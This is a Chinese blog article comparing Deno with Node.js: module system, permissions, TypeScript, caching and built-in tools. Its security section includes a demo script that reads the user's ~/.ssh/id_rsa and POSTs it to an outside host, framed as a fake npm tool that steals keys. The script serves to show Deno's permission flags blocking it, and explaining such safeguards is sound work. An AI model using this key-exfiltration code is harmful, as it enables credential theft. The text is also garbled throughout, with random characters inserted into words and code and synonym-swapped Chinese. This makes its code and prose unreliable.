前语

Deno 现已正式发布了!

我说这句话时分,是不是许多前端 和 NodeJS 工(码)程(农)师现已按不住自己的40米大刀了。心中的不只感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥差异?!

的确,deno 和 nodeC S ; t 2 形态很相似,要解决的问题好像也相同,那他们到底有啥差异6 ` = } t c _,这一切终究是品德的沦丧还是 ry (作者)人性的扭曲,让咱们走进本篇文! D ;章,一探终究。

Denod 7 B x V5 _ o o K b #S Node

Node Deno
API 引证办法 模块导入t V 3 K I h 大局目标
模块体系 CommonJS & 新版 node 实验性 ES Module ES Module 浏览器完成
安全 无安全约束 默认安全
Typescript 第三方,如经过 ts-nok 5 X cde 支撑 r f l生支撑
包办理 npm + node_module1 $ S s u r Z H ts 原生支撑
异步操作 回调 Promise
包分发 中心化 npmjs.com 去中心化 impM ; 9 y % j 2ort url
入口 package.jsoo S & F ; l T y }n 装备 import url 直接引进
打包、测试、格局化 第三方如 eslintR D t 0 d _、gulp、webpack、babel 等 原生支撑

1.内置 API 引证办法不同

node 模块导入

node 内置 API 经过N n ^ R n g模块导入的办法引证,例如:

const fs = reqR k g d P O `uire("fs");
fs.readF; q D 0 j ) m V WileSync/ 5 3 I E F("./data.txt");

deno 大局目标

而 deno 则是一个大局目标 Deno 的特点和办法:M ^ O q J W $ ) $

Deno.readFileSy* 2 - Lnc("./data.txt");

具体 deno 有哪些办法,咱们能够经过 repl 看一下:

deno # 或 de; K . W l R ; i sno repl

进入, L [ 5 repl 后,输入 Deno 回车,咱们能够看到:

{
Buffer: [Function: Buffer],K j X
readAll: [AsyncFunV C 0 6 Z : W ? }ction: readAll],
readAllSync: [Function: readAllSync],
writeAll: [AsyncFunction: writeAll],
writeO + f - Y ( f i aAllSync: [Function: writeAllSync],
# .....
}

这种处理的办法优点是简略、方便,} 5 7 a f V u坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。

2.模块! ` b ~ k体系

咱们再Q 8 0 6来看一下模块体h { u c 9 2 , 3 F系,这也是 deno 和 node 不同最大的当地,同样也是 deno 和 node 不兼容的当地: A q b M

node CommonJS 规范

咱们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器完成,那么咱们首先来认识一下:

ES Module 的浏览器完成

具体关O Y s E S b @于 ES Module 想必咱们都早已熟知,但其浏览器完成或许咱们还不是很熟悉,所以咱们先看一下其浏览器完成:

<body>
<!-- 注意这里一定要加上 type="module" -->
<script type="module">
// 从 URL 导入
import VueC M z V & 1 h c from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browsY o M O d I  D aer.js";
// 从相对路径导入
import * as utils from "./utils.js";
// 从绝对路径导入
import "/index.js";
// 不支撑
import foo fromI Z G k w n = } "foo.js";
impY 3 S R U 8 # i 5ort bar from "bar/ j f , y 2 d Lindex.js";
import zoo from "./index";F + V K { // 没有 .jso | Z m T E 后缀
</script^ T ]>
</body>

deno 的模块规范

deno 彻底遵从 es module 浏览器完成,所以 deno 也是如此:

// 支撑
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepC@ o & c 1 | x x copy.js";
imy - x m c Q Mport fool p 0 D i ~ _ 5 from "/foo.ts";
// 不支撑
i9 S mport foo from "foo.ts";
import bar from "./bar"; // 有必要指定扩展名

咱们发现其和咱们5 Z r s H U平常在 wL Z : `ebpack 或许 ts 运用 es module 最大的不同

  • 能够经过 import url 直接引证线上资源;

  • 资源不行省掉扩展名和文件名。

关于第 1 点,争议非常大,有人很看好,觉得极~ Q n大的扩展了 deno 库的规模;有人则不太看好,觉得国内网速的原因,并不有用。咱们的看法怎样,欢迎在谈论区宣布

3.安全

假如模块规范是 node 和 deno 最大的不y = x同,那么对安全的处理,则是另外一个让人摸不着头脑的当地。

模拟盗号

在介绍之前咱们先思考一下这个场景会不会出现:

我做了一个根据指令行的一键上网东西 breakwall,每月 1 个 G 免费流量,然后将紧缩后的 JS 代A 2 3 p +码发布到 npm 上,然后后在各种渠道宣扬一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,然后每次运用的时分,我偷偷a b * ) V t * B X的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在. x c J . $ i K U设定期Y n { N 限到期后,删除电脑上材料,留下一句拿钱换材料,仅支撑比特币。

默认安全的 deno

假如你觉得以上v @ f情况有或许出现,则会觉得下面的功用很有E } _ Q Z l ~用。咱们先用 deno 履行以下代码:

// index.js
let rsa = Deno.readFileSync(Den_ V { | R e ]o.dir("home") + "/.ssh/id_rsa");
rsa = new TextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/posts/1", {
method: "POSTb W j N , 2",
body: JSON.s/ c 4tringin K . = g ,fy(rsa)
})
.S r [then((resK f L e % 0) =>K V 5 B - g 2 res.json())
.! V Zthen((res) => console.log("密钥发送成功,嘿嘿嘿"))k q z b w;
console.log("start brel : E ) Y , [ a Hakwall...");

PS: –unstable 是因为 Deno.dir API 不稳定

> deno run --unstable index.js

咱们将会得到如下报错信息:

> deno run --: x a ? 0 d h 8 (unstable  index.js[ 5 g 9
error: Uncaught PermiF 6 c N pssi# U B - $ + ~ ) UonDenied: access to environment variabn 4 z 5 9 f .les, run again with the --allow-env flag
...

7 F f 2 F思便是权限异常,需求拜访环境变量,需求加上 --allow-env,咱们加上这个参数再试一下。

> deno run --unstag [ A G R .ble --allow-ens C B N y Y Gv index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.sshG z 8 } k M/id_rsa", run agj [ A 3ain with the --allow-read flag
...

如此重复,还需加上 --allow-read--allow-net ,终究的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密钥发送成功,嘿嘿嘿

经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,假如我的运用的确需求拜访网络和文件,可是有不想让它拜访 .ssh 文件g H l 9有没有办法?

当然有了,咱们能s W M e够给 --allow-read--allow-net 指定白名单,名单之外都不行拜访,例如:

&gk  `t; deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  i| ( & sndex.js
start breakwa1 f R 7 X ell...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow f } Y X ! Y Lw-net flag
at unwrapResponse ($den_ } e _o$/L R e / [ k Eops/din  W  5 D V 0 Dspatch_json.ts:43:11)
at Object.sendAsync ($deno$/ops/dispf T 9 e ;az _ o .tch_json.ts:98:1{ T f0)U a $ F / 1 J 0
at async fetch ($deno$/web/fetch.ts:591:27q K 3 Y H L I t)

简化参数

假如确认是没] L | =问题,或许是自己开发软件时,图个方便,能够直接运用 -A--allow-all 参数答应一x 2 { m ]切权限:

> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿

安全这方面见仁见智A 5 e & s e,有人觉得是剩余,v $ 6& : = C c * {人觉得很好用,极大的增强了安全性。假如你属于觉得这个功用剩余的,能够 deT ; J ; ] q !no ruj M | *n -A xxx 即可。

4.兼容浏览器 API

许多人不理解,为什么你i u i一个服务端言语要兼容浏览器 API,以及怎样兼容。

为什么要兼容浏览器 API

关于为P 4 i w 0 I什么,我举个栗子咱们就理解了:在设计 node 之处,关于输! F q e 4 – : – c出函Q v k L _ ) P w 数原本叫 print 之类的,后来有人提议为什么不叫 console.log,ry 觉得挺不错,于是就接收了定见。

可是,这个设计并不是刻意为之,而 deno 的设计则能够为之,经过与浏览器? % U Z I t API 保持一致,来削减咱们的认知

怎样兼容浏览器 API

概念上兼) u C
  • 模块体系,从上面介绍看出 deno 是彻底遵从浏览器完成的;

  • 默认安全,当然也不是自己发明的概念,w3c 早已做出浏览器权限的规则,m c a M g ;咱们在做小程序的时分尤为显着,需求获取各种权限;

  • 关于异步操作回来 Promise;

  • 运用 ArrayBuffer 处理二进制;

  • 等等…

存在 window 大局变量
console.log(window === this, window === seD F M [ Clf, window ===r 8 3 9 globalThis);
完成了 Wind% ( 3 6 jowOrWorkerGlobalSL j T H f Nco~ 5 F u [ P ) fpe 的全部0 6 7 % , . ( ?办法

具体办法列表,咱们能够参考:lib.deno.shared_globals.d.ts 和 lib.deno.window.d.ts

// 请求办法
fetch("https://baidu.com"5 U e 8 9);
// base64 转化
let encodedData = btoa("Hello, world"); // 编码O ) O T c 8 w 6 5
let decodedData = atob(e: ] q $ G v }ncodedData); // 解码
// 微使命
queueMT z B :icrotK p | b = ~ @ask(() => {
console.log(123);
});
// 等等...
大趋势

总体而言,假如服务端和浏览器端存在相同概念,deno 就不会发明新的概念。这一点其实 node 也在做,新的 node 14.0 C$ / b J YHANGELOG 就a G @ c 2也提及要完成 Universal JavaScriptSpec compli ( 4 Q ~ b k Gance and Web CompatiB ? - / G q Ibility的思维,所以这点咱们应该都会承受吧,毕竟大势所趋趋势。

5.支撑 Typescript

不管你喜爱与否,2020 年了,有必要学习 TS 了/ ! s c T J O(最少在面试的时分是亮点)。学完之后你才会理解王境泽规律真的无处不在。

/Y ] g _ V / V/ index.t` / 1 S L X 8 js
let str: string = "王境泽规律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type A o z'string'.
► file:///Users/T / ` a ) 7 7 4 mzhangcR R + i { &haojie/Deskta : . * 3 ^op/index.ts:2:1
2 str = 123
~~~

6.去 node_modules

deno 没有 node_modules,那么它是怎样进F & O = G N {行包办理的呢?咱们先看下面的例子

// index.jsg y = M
import { white, bgRed } from "https://denop  L R.land/st ^ ( Z H A rd/fmt/colors.ts";
console.log(bgRed(whiJ M v = G % } = wte("hello world!")));
> deno run index.js
Download k Y [ E & Z Y i hti [ 6 H % | # `tps://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.G y : Fts
hello world!

咱们看到其有 Do7 . Q 7 s 2 XwnloadCompile 两个^ 6 X E过程,咱们会产生几个疑问:

1、每次履行都要下载吗?

解:咱们只需求再履行一次就能理解,不需求每次下载。

> deno run index.js
hello wor{ @ l ; b Y H Dld!

2、Download 和 Compile 的文件在哪里呢?

解:咱们会发现,当时履行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,咱们首先来看一下 deno --help 指令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file
# ...
ENVIRONMENT VARIABLES:
DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 指令展现了依靠联系,相似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
└── https://deno.land/std/fmt/colors.ts

DENO_DIR 则为实际的装置和编译目录,相当于 node_modulesW 9 s { - R V ) 3,默以为 $HOME/.deno(指令提示是这样的,但实际需求指定一下环境变量 export- n o N F l z P DENO_DIR=$HOME/.deno),咱们看一下:

> tree $HOME/.deno
/Users/zhangchao3 ; f W ? 7 c 4jie/.deno
├── deps
│ └── https
│     └── deno.land
│         ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc779H ( 1 H | 7 w4be25208c60cfc935
│         └── 357J P ` 4 4883d8acbaf00el S ] X Y c C Q 328990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadat( T  za.json
└── gen
└── https
└── deno.land
└── std
└── fmt
├── colors.ts.js
├── colors.ts.js.map
└── colors.ts.meta
8 directories, 5 files

3、x 0 U K . b没网络了怎样办?

咱们有些场景是将本地写好的代码布置到没有网络的服务器,那么当履行 deno run xxxA ? S C z 时,便是提示 error sendiI A L p $ x M Hng request。

解:将上面的缓存目录内容,T d 9 o t r R ~直接拷贝到服务器并指定环境变量! % X 4 T T X 到其目录即可。

4、依靠代码更新了怎样办?

解:当依靠^ + j ,模块更新时,咱们能够经过 --reload 进行更新缓存,例如:

> deno run --reload index.js

咱们还能够经过白名单的办法,只更新部分依靠。例如:

> deno run --reload=https://deno.land index.js

5、仅缓存依靠,不履行! I V 8 d 5 % s代码有办法吗?

解:有的,咱们能够经过 deno cache index.js 进行依靠缓存。

6、. M h ~多版别怎样处理?

解:暂时没有好的解决方案,只能经过 git tag 的办法区别版别。

7.x : h | b , ~规范模块 与 node API 兼容

咱们经过第 1 点能够看到,其实 deno 的 API 相关于 node 其实是少一些的,经过其文件巨细也能看出来:

> ll /usr/local/bin/node /Users/zhangchy I g 2 4 o H N `aojie/.local/bin@ e ! b J g  K O/deno
-rwxr-xr-x  1   42M   /Users/zhangch]  , . : S i Baojie/.local/bin/deno
-rwxf 5 X  % &r-xrp g + G *-x  1   70M   /usr/local/bin/node

那这些少的 API 只能自己写或许求助于社区吗?

deno 关于自身相关于 node 少的和社区中常用的功用,供给了规范模块,其特点是不依靠非规范模块的内容,到达社区内的模块引证最后都收敛于规范模块的效果。例如:

// 相似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";
// 相似 node 中的 uuid 包
import { v v ~4 } fr/ d E n com "https://deno.land/std/uuid/mod.ts";

同时为了对 node 用户友c F s # H P r好,供给了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
importH I z * as fs from "https://deno.land/std/node/fs.ts";
console.log(path.resolve('./', './test'))

所以,咱们在为 deno 社区做贡献^ 1 0 Y G C ( E的时分,首先要看一下规范模块有没有供给相似的功用,假* 1 k – N如现已供给了能够进行引证。

8.异步操作

根据 ry 自己是说法,在设计 node 是有人提议 Promise 处理回调,可是他没听,用他自己的话说便是愚蠢` Y T t W L的拒绝了。

node 用回调的办法处理异步操作、da T _ ` O | J Ken & w 5 1o 则挑选用 Promise

// node 办法
const fs = require("fs");
fs.T c 5 U S dreadFile("./data.txt", (ert S Z e ] : Yr, data) => {
if (err) throw err;] ! 5
console.log(data);
});

l _ H * O % f外 deno 支撑 top-level-await,所以以上读取文件的代码能够为:

// deno 办法
const data = await Deno.readFile("./data.txt");
console.log(data);

node 关于这方面也在一向改进,例如社区上许多 prW x O l Comisify 解决方案,经过包裹一层函数,完成目的。例如:

// node API promisify
c[ R ? g Xonst { promisify } = require("es6-promisify")2 ^ A;
const fs( F ) t I = require("fs");
// 没有 top-level-await,只能包一层
async function main() {
cE P ]onst rea} - N u zdFile = promisify(fs.readFile);
co* ( ` a 7 T wnst data = await reaR ] N * . e b = ?dFile("./data.txt");
console.log(data);
}
main();

9.单文件分发

咱们知道 npm 包有] l m必要有 package.json 文件,里面不只需求b e ? . ~ ` Y指明 mainmodulebrowser 等字段来! r i X ^标明入口文件,还需求指明 namelicensedescription 等字段来说明这个包。

ry 觉得这些字段打e n N c Q G乱了开发者的视听,所以在 deno 中,其模块不需求任何装备文件,直接是 import url 的方法。

10.去中心化库房

关于 www.npq # t Z 0 P W Fmjs.com 咱们肯定都不陌生,它是推进 node 蓬勃发展的重要支点。但作者以为h w ) b I 3它是中心化库房,违背了互联网去中心化准则。

所以 deno 并没有一个像 npmjs.com 的库房,经过 import url 的办法将互联网任何一处的代码都能够引证。

PS:deno 其实是有个根据 GitHub 的第三方模块调集。

11.去开发依靠

咱们在写一个 node 库或许Z h u T X ~ : i东西时,开发依靠是少不了的,例如 babel 做转化和打包、jest 做测试、preth } ? 8 P p ptier7 # & X + Z o 做代码格局化、e^ ~ y H R A O uslint 做; d 6 | P 6代码格局校检、gulp 或许 webpack 做构建等等,让咱们在开发前就搞得筋疲力尽。

deno 经过内置了一些东西,解决上述问题。

  • deno bundle:打包指令Y B o I %,用来替换 babelgulp 一类东西: 例如:deno bundle ./mod.ts
  • deno fmt:格局化指令,用来替换 prettier 一类东西,例如:deno fmt ./mod.r k 0 k 8 R g |ty g o ps
  • deno test:运转测试代码,用来替换 jest 一类东西,例如 deno test ./test.ts
  • deno lint:代码校检(暂未完成),用来替换 eslint 一类东西,例如:deno lint ./mod.ts

跋文

就像小时分一向幻想的炸弹始终没能炸了( d / h 8 U校园,技(轮)术(子)的进(制)步(造)一向也未中止过。不论咱们学的动或许学不动,技术就在那里,不以人的意志为搬运。

至于 deno 能不能火,我个人觉得最少一两年内不会有太大反响,之后和 node 的联系有或许像w $ X w ? S | Vue 和 react,有人喜爱用l F 4 [ i deno,觉得比 node 好一万倍,有人则喜爱 node ,觉得 node 还能再战 500 年。至于终! 0 6 & / M | 3 *究学不学还看自己。

假如觉得文章不错,记得点赞、收藏啦~~~~

  • 20 分钟入门 deno